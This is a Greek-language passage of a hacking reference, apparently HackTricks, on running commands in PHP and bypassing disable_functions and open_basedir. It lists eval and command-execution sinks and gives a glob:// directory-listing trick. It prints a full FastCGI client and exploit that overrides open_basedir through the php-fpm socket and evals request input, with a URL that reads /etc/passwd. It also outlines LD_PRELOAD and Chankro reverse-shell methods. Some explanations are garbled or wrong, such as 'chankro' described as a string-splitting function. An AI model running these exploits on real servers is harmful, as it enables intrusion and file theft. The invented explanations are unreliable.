Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs σταHackTricks και HackTricks Cloud αποθετήρια του github.
Εκτέλεση Εντολής & Κώδικας PHP
Εκτέλεση Εντολής PHP
Σημείωση: Ένα p0wny-shell php webshell μπορεί να ελέγξει αυτόματα και να παρακάμψει την παρακάτω συνάρτηση εάν κάποια από αυτές είναι απενεργοποιημένη.
exec - Επιστρέφει την τελευταία γραμμή της έξοδου των εντολών
echoexec("uname -a");
passthru - Περνάει την έξοδο των εντολών απευθείας στον περιηγητή.
echopassthru("uname -a");
system - Περνάει την έξοδο των εντολών απευθείας στον περιηγητή και επιστρέφει την τελευταία γραμμή
echosystem("uname -a");
shell_exec - Επιστρέφει την έξοδο των εντολών
echoshell_exec("uname -a");
`` (backticks) - Ίδιο με την shell_exec()
echo`uname-a`
popen - Ανοίγει έναν αναγνωστή ή έναν γραφέα σωλήνα προς τη διεργασία ενός εντολής
echofread(popen("/bin/ls /","r"),4096);
proc_open - Παρόμοιο με την popen() αλλά με μεγαλύτερο βαθμό έλεγχου
Η συνάρτηση preg_replace χρησιμοποιείται για την αντικατάσταση μιας συμβολοσειράς με μια άλλη σε ένα κείμενο, χρησιμοποιώντας κανονικές εκφράσεις. Η σύνταξη της συνάρτησης είναι η εξής:
preg_replace($pattern, $replacement, $subject);
Όπου:
$pattern είναι η κανονική έκφραση που περιέχει το μοτίβο που θέλουμε να αντικαταστήσουμε.
$replacement είναι η συμβολοσειρά που θα χρησιμοποιηθεί για την αντικατάσταση.
$subject είναι το κείμενο στο οποίο θα γίνει η αντικατάσταση.
Η συνάρτηση preg_replace επιστρέφει το τροποποιημένο κείμενο μετά την αντικατάσταση.
pcntl_exec - Εκτελεί ένα πρόγραμμα (από προεπιλογή σε σύγχρονες και μη τόσο σύγχρονες εκδόσεις της PHP, χρειάζεται να φορτώσετε το πρόσθετο pcntl.so για να χρησιμοποιήσετε αυτήν τη συνάρτηση)
mail / mb_send_mail - Αυτή η συνάρτηση χρησιμοποιείται για την αποστολή email, αλλά μπορεί επίσης να καταχραστεί για να εισαγάγει αυθαίρετες εντολές μέσα στην παράμετρο $options. Αυτό συμβαίνει επειδή η συνάρτηση mail του php συνήθως καλεί το δυαδικό αρχείο sendmail στο σύστημα και σας επιτρέπει να βάλετε επιπλέον επιλογές. Ωστόσο, δεν θα μπορείτε να δείτε την έξοδο της εκτελούμενης εντολής, για αυτό συνιστάται να δημιουργήσετε ένα shell script που θα γράφει την έξοδο σε ένα αρχείο, να το εκτελέσετε χρησιμοποιώντας το mail και να εκτυπώσετε την έξοδο:
dl - Αυτή η συνάρτηση μπορεί να χρησιμοποιηθεί για τη δυναμική φόρτωση μιας επέκτασης PHP. Αυτή η συνάρτηση δεν θα είναι πάντα διαθέσιμη, γι 'αυτό θα πρέπει να ελέγξετε αν είναι διαθέσιμη πριν προσπαθήσετε να την εκμεταλλευτείτε. Διαβάστε αυτήν τη σελίδα για να μάθετε πώς να εκμεταλλευτείτε αυτήν τη συνάρτηση.
Εκτέλεση κώδικα PHP
Εκτός από το eval, υπάρχουν και άλλοι τρόποι για να εκτελέσετε κώδικα PHP: τα include/require μπορούν να χρησιμοποιηθούν για την απομακρυσμένη εκτέλεση κώδικα στη μορφή ευπάθειας Local File Include και Remote File Include.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
disable_functions & open_basedir
Οι απενεργοποιημένες συναρτήσεις είναι οι ρυθμίσεις που μπορούν να διαμορφωθούν στα αρχεία .ini στην PHP που θα απαγορεύσουν τη χρήση των καθορισμένων συναρτήσεων. Το open basedir είναι η ρύθμιση που υποδεικνύει στην PHP τον φάκελο στον οποίο μπορεί να έχει πρόσβαση.
Η ρύθμιση PHP πρέπει να διαμορφωθεί στη διαδρομή /etc/php7/conf.d ή παρόμοια.
Και οι δύο ρυθμίσεις μπορούν να βρεθούν στην έξοδο της phpinfo():
open_basedir Bypass
Το open_basedir θα διαμορφώσει τους φακέλους στους οποίους η PHP μπορεί να έχει πρόσβαση, δεν θα μπορείτε να γράψετε/διαβάσετε/εκτελέσετε κανένα αρχείο έξω από αυτούς τους φακέλους, αλλά επίσης δεν θα μπορείτε ούτε να καταλογογραφήσετε άλλους φακέλους.
Ωστόσο, αν καταφέρετε να εκτελέσετε αυθαίρετο κώδικα PHP, μπορείτε να δοκιμάσετε τον παρακάτω κομμάτι κώδικα για να παρακάμψετε τον περιορισμό.
Καταλογογραφώντας φακέλους με την παράκαμψη glob://
Σε αυτό το πρώτο παράδειγμα χρησιμοποιείται το πρωτόκολλο glob:// με μια παράκαμψη μονοπατιού:
<?php$file_list =array();$it =newDirectoryIterator("glob:///v??/run/*");foreach($it as $f) {$file_list[] = $f->__toString();}$it =newDirectoryIterator("glob:///v??/run/.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo"{$f}<br/>";}
Σημείωση1: Στη διαδρομή μπορείτε επίσης να χρησιμοποιήσετε /e??/* για να εμφανίσετε το /etc/* και οποιοδήποτε άλλο φάκελο.
Σημείωση2: Φαίνεται ότι μέρος του κώδικα είναι διπλός, αλλά αυτό είναι πραγματικά απαραίτητο!
Σημείωση3: Αυτό το παράδειγμα είναι χρήσιμο μόνο για την εμφάνιση φακέλων και όχι για την ανάγνωση αρχείων
Πλήρης παράκαμψη του open_basedir με κατάχρηση του FastCGI
Εάν θέλετε να μάθετε περισσότερα για το PHP-FPM και το FastCGI μπορείτε να διαβάσετε το πρώτο τμήμα αυτής της σελίδας.
Εάν έχει ρυθμιστεί το php-fpm μπορείτε να το καταχραστείτε για να παρακάμψετε πλήρως το open_basedir:
Σημειώστε ότι το πρώτο πράγμα που πρέπει να κάνετε είναι να βρείτε πού βρίσκεται το unix socket του php-fpm. Συνήθως βρίσκεται κάτω από το /var/run, οπότε μπορείτε να χρησιμοποιήσετε τον προηγούμενο κώδικα για να εμφανίσετε τον κατάλογο και να τον βρείτε.
Κώδικας από εδώ.
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content```php* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything$php_value ="allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Αυτά τα σενάρια θα επικοινωνήσουν με το unix socket του php-fpm (συνήθως βρίσκεται στο /var/run αν χρησιμοποιείται το fpm) για να εκτελέσουν αυθαίρετο κώδικα. Οι ρυθμίσεις open_basedir θα αντικατασταθούν από το χαρακτηριστικό PHP_VALUE που αποστέλλεται.
Παρατηρήστε πώς χρησιμοποιείται το eval για να εκτελεστεί ο κώδικας PHP που αποστέλλετε μέσα στην παράμετρο cmd.
Επίσης, παρατηρήστε την σχολιασμένη γραμμή 324, μπορείτε να την ξεσχολιάσετε και το payload θα συνδεθεί αυτόματα στον δοθέντα URL και θα εκτελέσει τον κώδικα PHP που περιέχεται εκεί.
Απλά αποκτήστε πρόσβαση στο http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); για να λάβετε το περιεχόμενο του αρχείου /etc/passwd.
Μπορεί να σκέφτεστε ότι με τον ίδιο τρόπο που αντικαταστήσαμε τη διαμόρφωση open_basedir μπορούμε να αντικαταστήσουμε την disable_functions. Καλά, δοκιμάστε το, αλλά δεν θα λειτουργήσει, φαίνεται ότι η disable_functions μπορεί να διαμορφωθεί μόνο σε ένα αρχείο διαμόρφωσης .ini του php και οι αλλαγές που κάνετε χρησιμοποιώντας το PHP_VALUE δεν θα έχουν επίδραση σε αυτήν τη συγκεκριμένη ρύθμιση.
Παράκαμψη της disable_functions
Εάν καταφέρετε να εκτελέσετε κώδικα PHP μέσα σε μια μηχανή, πιθανότατα θέλετε να πάτε στο επόμενο επίπεδο και να εκτελέσετε αυθαίρετες εντολές συστήματος. Σε αυτήν την κατάσταση είναι συνηθισμένο να ανακαλύπτετε ότι οι περισσότερες ή όλες οι συναρτήσεις PHP που επιτρέπουν την εκτέλεση εντολών συστήματος έχουν απενεργοποιηθεί στην disable_functions.
Ας δούμε λοιπόν πώς μπορείτε να παρακάμψετε αυτόν τον περιορισμό (αν μπορείτε)
Αυτόματη ανακάλυψη παράκαμψης
Μπορείτε να χρησιμοποιήσετε το εργαλείο https://github.com/teambi0s/dfunc-bypasser και θα σας υποδείξει ποια συνάρτηση (αν υπάρχει) μπορείτε να χρησιμοποιήσετε για να παρακάμψετε την disable_functions.
Παράκαμψη χρησιμοποιώντας άλλες συστημικές συναρτήσεις
Απλά επιστρέψτε στην αρχή αυτής της σελίδας και ελέγξτε εάν κάποια από τις συναρτήσεις εκτέλεσης εντολών δεν έχει απενεργοποιηθεί και είναι διαθέσιμη στο περιβάλλον. Εάν βρείτε τουλάχιστον 1 από αυτές, θα μπορείτε να τη χρησιμοποιήσετε για να εκτελέσετε αυθαίρετες εντολές συστήματος.
Παράκαμψη με το LD_PRELOAD
Είναι γνωστό ότι ορισμένες συναρτήσεις στο PHP όπως η mail() θα εκτελέσουν δυαδικά αρχεία μέσα στο σύστημα. Επομένως, μπορείτε να τις καταχραστείτε χρησιμοποιώντας τη μεταβλητή περιβάλλοντος LD_PRELOAD για να τις κάνετε να φορτώσουν μια αυθαίρετη βιβλιοθήκη που μπορεί να εκτελέσει οτιδήποτε.
Συναρτήσεις που μπορούν να χρησιμοποιηθούν για παράκαμψη της disable_functions με το LD_PRELOAD
mail
mb_send_mail: Αποτελεσματική όταν είναι εγκατεστημένη η ενότητα php-mbstring.
imap_mail: Λειτουργεί εάν υπάρχει η ενότητα php-imap.
libvirt_connect: Απαιτεί την ενότητα php-libvirt-php.
gnupg_init: Χρησιμοποιήσιμη με την εγκατεστημένη ενότητα php-gnupg.
new imagick(): Αυτή η κλάση μπορεί να καταχραστεί για να παρακαμφθούν οι περιορισμοί. Λεπτομερείς τεχνικές εκμετάλλευσης μπορούν να βρεθούν σε έναν εκτενή οδηγό εδώ.
Μπορείτε να βρείτε εδώ το σενάριο fuzzing που χρησιμοποιήθηκε για να βρεθούν αυτές οι συναρτήσεις.
Εδώ υπάρχει μια βιβλιοθήκη που μπορείτε να μεταγλωτίσετε για να καταχραστείτε τη μεταβλητή περιβάλλοντος LD_PRELOAD:
Για να εκμεταλλευτείτε αυτήν την εσφαλμένη ρύθμιση, μπορείτε να χρησιμοποιήσετε το Chankro. Αυτό είναι ένα εργαλείο που θα δημιουργήσει ένα εκμεταλλευτή PHP που πρέπει να ανεβάσετε στο ευάλωτο διακομιστή και να το εκτελέσετε (προσπελάστε το μέσω του web).
Το Chankro θα γράψει μέσα στον δίσκο του θύματος τη βιβλιοθήκη και το αντίστροφο κέλυφος που θέλετε να εκτελέσετε και θα χρησιμοποιήσει τον τρόπο** LD_PRELOAD + την συνάρτηση PHP mail()** για να εκτελέσει το αντίστροφο κέλυφος.
Σημειώστε ότι για να χρησιμοποιήσετε το Chankro, οι mail και putenvδεν μπορούν να εμφανίζονται μέσα στη λίστα disable_functions.
Στο παρακάτω παράδειγμα μπορείτε να δείτε πώς να δημιουργήσετε ένα εκμεταλλευτή chankro για αρχιτεκτονική 64, που θα εκτελέσει την εντολή whoami και θα αποθηκεύσει το αποτέλεσμα στο /tmp/chankro_shell.out, το chankro θα γράψει τη βιβλιοθήκη και το φορτίο στο /tmp και ο τελικός εκμεταλλευτής θα ονομάζεται bicho.php (αυτό είναι το αρχείο που πρέπει να ανεβάσετε στον διακομιστή του θύματος):
#!/bin/shwhoami >/tmp/chankro_shell.out
Η συνάρτηση chankro χρησιμοποιείται για να διαιρέσει μια συμβολοσειρά σε μικρότερα τμήματα με βάση έναν διαχωριστικό χαρακτήρα και να τα επιστρέψει ως έναν πίνακα. Η σύνταξη της συνάρτησης είναι η εξής:
$string: Η συμβολοσειρά που θέλουμε να διαιρέσουμε.
$length: Το μήκος των μικρότερων τμημάτων που θα δημιουργηθούν.
$separator (προαιρετικό): Ο χαρακτήρας διαχωρισμού που θα χρησιμοποιηθεί για να διαχωρίσει τα τμήματα. Αν δεν καθοριστεί, τα τμήματα θα επιστραφούν χωρίς διαχωριστικό.
Η συνάρτηση επιστρέφει έναν πίνακα με τα μικρότερα τμήματα της συμβολοσειράς. Αν η συμβολοσειρά δεν μπορεί να διαιρεθεί σε ίσα τμήματα με βάση το μήκος που καθορίσαμε, το τελευταίο τμήμα θα έχει μικρότερο μήκος.
Εάν διαπιστώσετε ότι η λειτουργία mail έχει απενεργοποιηθεί από τις απενεργοποιημένες λειτουργίες, ενδέχεται να μπορείτε ακόμα να χρησιμοποιήσετε τη λειτουργία mb_send_mail.
Περισσότερες πληροφορίες σχετικά με αυτήν την τεχνική και το Chankro εδώ: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/
"Παράκαμψη" χρησιμοποιώντας τις δυνατότητες της PHP
Σημειώστε ότι χρησιμοποιώντας την PHP μπορείτε να διαβάσετε και να γράψετε αρχεία, να δημιουργήσετε καταλόγους και να αλλάξετε δικαιώματα.
Μπορείτε ακόμα να αντιγράψετε βάσεις δεδομένων.
Ίσως χρησιμοποιώντας την PHP για να απαριθμήσετε το σύστημα, μπορείτε να βρείτε έναν τρόπο να αναβαθμίσετε τα δικαιώματα/εκτελέσετε εντολές (για παράδειγμα, διαβάζοντας κάποιο ιδιωτικό κλειδί ssh).
Έχω δημιουργήσει ένα webshell που διευκολύνει πολύ την εκτέλεση αυτών των ενεργειών (σημειώστε ότι οι περισσότερες webshells θα σας προσφέρουν επίσης αυτές τις επιλογές): https://github.com/carlospolop/phpwebshelllimited
Παράκαμψη εξαρτήσεων από εκδόσεις/εξαρτήσεις του PHP
Υπάρχουν αρκετοί τρόποι για να παρακάμψετε τις απενεργοποιημένες λειτουργίες εάν χρησιμοποιείται κάποιο συγκεκριμένο πρόσθετο ή εκμεταλλευτείτε κάποια συγκεκριμένη έκδοση της PHP:
Λίστα με συναρτήσεις που δέχονται κλήσεις επιστροφής
Αυτές οι συναρτήσεις δέχονται ένα παράμετρο συμβολοσειράς που μπορεί να χρησιμοποιηθεί για να καλέσει μια συνάρτηση της επιλογής του επιτιθέμενου. Ανάλογα με τη συνάρτηση, ο επιτιθέμενος μπορεί να έχει ή όχι τη δυνατότητα να περάσει ένα παράμετρο. Σε αυτήν την περίπτωση, μια συνάρτηση αποκάλυψης πληροφοριών όπως η phpinfo() μπορεί να χρησιμοποιηθεί.
// Function => Position of callback arguments'ob_start'=>0,'array_diff_uassoc'=>-1,'array_diff_ukey'=>-1,'array_filter'=>1,'array_intersect_uassoc'=>-1,'array_intersect_ukey'=>-1,'array_map'=>0,'array_reduce'=>1,'array_udiff_assoc'=>-1,'array_udiff_uassoc'=>array(-1,-2),'array_udiff'=>-1,'array_uintersect_assoc'=>-1,'array_uintersect_uassoc'=>array(-1,-2),'array_uintersect'=>-1,'array_walk_recursive'=>1,'array_walk'=>1,'assert_options'=>1,'uasort'=>1,'uksort'=>1,'usort'=>1,'preg_replace_callback'=>1,'spl_autoload_register'=>0,'iterator_apply'=>1,'call_user_func'=>0,'call_user_func_array'=>0,'register_shutdown_function'=>0,'register_tick_function'=>0,'set_error_handler'=>0,'set_exception_handler'=>0,'session_set_save_handler'=>array(0,1,2,3,4,5),'sqlite_create_aggregate'=>array(2,3),'sqlite_create_function'=>2,
Αποκάλυψη Πληροφοριών
Οι περισσότερες από αυτές τις κλήσεις συνάρτησης δεν είναι αδιάβροχες. Ωστόσο, μπορεί να αποτελέσει μια ευπάθεια εάν οποιαδήποτε από τα επιστρεφόμενα δεδομένα είναι ορατά για έναν επιτιθέμενο. Εάν ένας επιτιθέμενος μπορεί να δει το phpinfo(), τότε οπωσδήποτε αποτελεί μια ευπάθεια.
Σε αυτήν την ενότητα θα εξετάσουμε ορισμένες χρήσιμες συναρτήσεις PHP που μπορούν να χρησιμοποιηθούν για την απενεργοποίηση των disable_functions και την παράκαμψη του open_basedir.
Απενεργοποίηση των disable_functions
Όταν οι disable_functions είναι ενεργοποιημένες στην ρύθμιση του PHP, ορισμένες συναρτήσεις απενεργοποιούνται και δεν μπορούν να χρησιμοποιηθούν από τον κώδικα PHP. Ωστόσο, υπάρχουν ορισμένες τεχνικές που μπορούν να χρησιμοποιηθούν για την παράκαμψη αυτών των περιορισμών.
Παράκαμψη του open_basedir
Το open_basedir είναι μια ρύθμιση ασφαλείας στο PHP που περιορίζει τις δυνατότητες πρόσβασης σε αρχεία και φακέλους. Ωστόσο, υπάρχουν τεχνικές που μπορούν να χρησιμοποιηθούν για την παράκαμψη αυτού του περιορισμού και να επιτραπεί η πρόσβαση σε αρχεία και φακέλους που βρίσκονται εκτός του open_basedir.
extract // Opens the door for register_globals attacks (see study in scarlet).parse_str // works like extract if only one argument is given.putenvini_setmail // has CRLF injection in the 3rd parameter, opens the door for spam.header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_niceproc_terminateproc_closepfsockopenfsockopenapache_child_terminateposix_killposix_mkfifoposix_setpgidposix_setsidposix_setuid
Συναρτήσεις Αρχείου Συστήματος
Σύμφωνα με το RATS, όλες οι συναρτήσεις αρχείου στην PHP είναι επικίνδυνες. Ορισμένες από αυτές δεν φαίνονται πολύ χρήσιμες για τον επιτιθέμενο. Άλλες είναι πιο χρήσιμες από ό,τι θα μπορούσατε να φανταστείτε. Για παράδειγμα, αν το allow_url_fopen=On, τότε μπορεί να χρησιμοποιηθεί ένα URL ως διαδρομή αρχείου, οπότε μια κλήση στην copy($_GET['s'], $_GET['d']); μπορεί να χρησιμοποιηθεί για να ανεβάσετε ένα PHP script οπουδήποτε στο σύστημα. Επίσης, αν μια ιστοσελίδα είναι ευάλωτη σε ένα αίτημα που στέλνεται μέσω GET, κάθε μία από αυτές τις συναρτήσεις αρχείου συστήματος μπορεί να καταχραστείται για να δρομολογήσει και να επιτεθεί σε έναν άλλο κεντρικό υπολογιστή μέσω του διακομιστή σας.
Εγγραφή στο σύστημα αρχείων (μερικώς σε συνδυασμό με ανάγνωση)
Μια από τις χρήσιμες λειτουργίες της γλώσσας προγραμματισμού PHP είναι η δυνατότητα εγγραφής σε αρχεία στο σύστημα αρχείων. Αυτό μπορεί να γίνει μερικώς σε συνδυασμό με την ανάγνωση από αρχεία.
Για να γράψετε σε ένα αρχείο, μπορείτε να χρησιμοποιήσετε τη συνάρτηση file_put_contents(). Αυτή η συνάρτηση δέχεται δύο ορίσματα: το όνομα του αρχείου και τα δεδομένα που θέλετε να εγγράψετε. Αν το αρχείο δεν υπάρχει, θα δημιουργηθεί αυτόματα. Αν υπάρχει ήδη, τα νέα δεδομένα θα προστεθούν στο τέλος του αρχείου.
Για παράδειγμα, η παρακάτω γραμμή κώδικα θα εγγράψει το κείμενο "Hello, World!" στο αρχείο "example.txt":
file_put_contents("example.txt","Hello, World!");
Επίσης, μπορείτε να συνδυάσετε την εγγραφή με την ανάγνωση από ένα αρχείο. Για παράδειγμα, μπορείτε να διαβάσετε τα περιεχόμενα ενός αρχείου και να τα εγγράψετε σε ένα άλλο αρχείο:
Με αυτόν τον τρόπο, μπορείτε να αντιγράψετε τα περιεχόμενα ενός αρχείου σε ένα άλλο αρχείο.
Είναι σημαντικό να προσέξετε τα δικαιώματα πρόσβασης στα αρχεία και να εξασφαλίσετε ότι έχετε την απαιτούμενη άδεια για να εγγράψετε σε αυτά.
chgrpchmodchowncopyfile_put_contentslchgrplchownlinkmkdirmove_uploaded_filerenamermdirsymlinktempnamtouchunlinkimagepng // 2nd parameter is a path.imagewbmp // 2nd parameter is a path.image2wbmp // 2nd parameter is a path.imagejpeg // 2nd parameter is a path.imagexbm // 2nd parameter is a path.imagegif // 2nd parameter is a path.imagegd // 2nd parameter is a path.imagegd2 // 2nd parameter is a path.iptcembedftp_getftp_nb_getscandir